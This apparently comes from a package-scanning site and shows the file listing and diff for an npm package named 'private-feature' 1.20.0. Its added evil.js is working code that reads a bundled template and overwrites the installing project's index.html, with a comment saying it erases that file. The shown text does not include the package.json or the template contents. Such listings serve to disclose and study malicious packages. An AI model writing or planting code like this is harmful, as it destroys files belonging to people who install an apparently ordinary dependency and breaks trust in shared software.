private-feature 1.20.0
Sign up to get free protection for your applications and to get access to all the features.
- package/evil.js +21 -0
- package/package.json +10 -0
- package/template.html +10 -0
package/evil.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const path = require('path');
|
3
|
+
|
4
|
+
// Path to template in node_modules
|
5
|
+
const templatePath = path.join(__dirname, 'template.html');
|
6
|
+
|
7
|
+
// Path to the project
|
8
|
+
const destinationPath = path.join(__dirname, '..', '..', 'index.html');
|
9
|
+
|
10
|
+
// Read the template file
|
11
|
+
fs.readFile(templatePath, 'utf8', function(err, data) {
|
12
|
+
if (err) {
|
13
|
+
return console.error(err);
|
14
|
+
}
|
15
|
+
// Erase index.html
|
16
|
+
fs.writeFile(destinationPath, data, 'utf8', function(err) {
|
17
|
+
if (err) {
|
18
|
+
return console.error(err);
|
19
|
+
}
|
20
|
+
});
|
21
|
+
});
|
package/package.json
ADDED